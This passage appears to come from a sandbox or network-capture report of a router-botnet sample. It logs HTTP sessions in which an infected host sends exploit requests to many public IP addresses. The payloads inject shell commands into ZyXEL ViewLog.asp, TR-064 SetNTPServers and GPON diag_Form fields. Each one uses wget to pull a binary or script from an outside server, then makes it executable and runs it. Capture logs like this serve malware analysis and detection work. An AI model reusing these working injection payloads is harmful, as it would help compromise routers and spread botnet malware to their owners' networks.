remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:09.357582092 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:09.553132057 CET	735	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL was not found on this server.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.13	54836	200.46.129.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.408107042 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:08.576662064 CET	847	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:23:08 GMT Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Length: 225 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 33 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://127.0.0.1:443/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:23:08 GMTContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.13	48788	2.140.223.57	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.558481932 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:09.324898005 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:09.577334881 CET	684	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 43 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 63 77 6d 70 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 63 77 6d 70 2d 31 2d 30 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 66 61 75 6c 74 63 6f 64 65 3e 53 4f 41 50 2d 45 4e 56 3a 43 6c 69 65 6e 74 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 3e 4e 6f 20 58 4d 4c 20 65 6c 65 6d 65 6e 74 20 74 61 67 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"><SOAP-ENV:Body><SOAP-ENV:Fault SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><faultcode>SOAP-ENV:Client</faultcode><faultstring>No XML element tag</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.13	46840	190.103.42.90	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.561868906 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:08.801471949 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.13	41654	220.88.23.35	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.635551929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.13	42382	42.245.130.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685745955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.13	52838	109.108.102.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685786963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.13	52788	5.207.99.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685805082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.13	56106	5.32.95.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685816050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.13	39810	42.229.194.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685821056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.13	51920	212.17.219.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685821056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.13	36740	5.11.220.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685821056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.13	56872	118.248.14.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685883999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.13	37444	212.184.196.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:08.685923100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.13	34076	109.0.169.180	443

Timestamp	Bytes transferred	Direction	Data
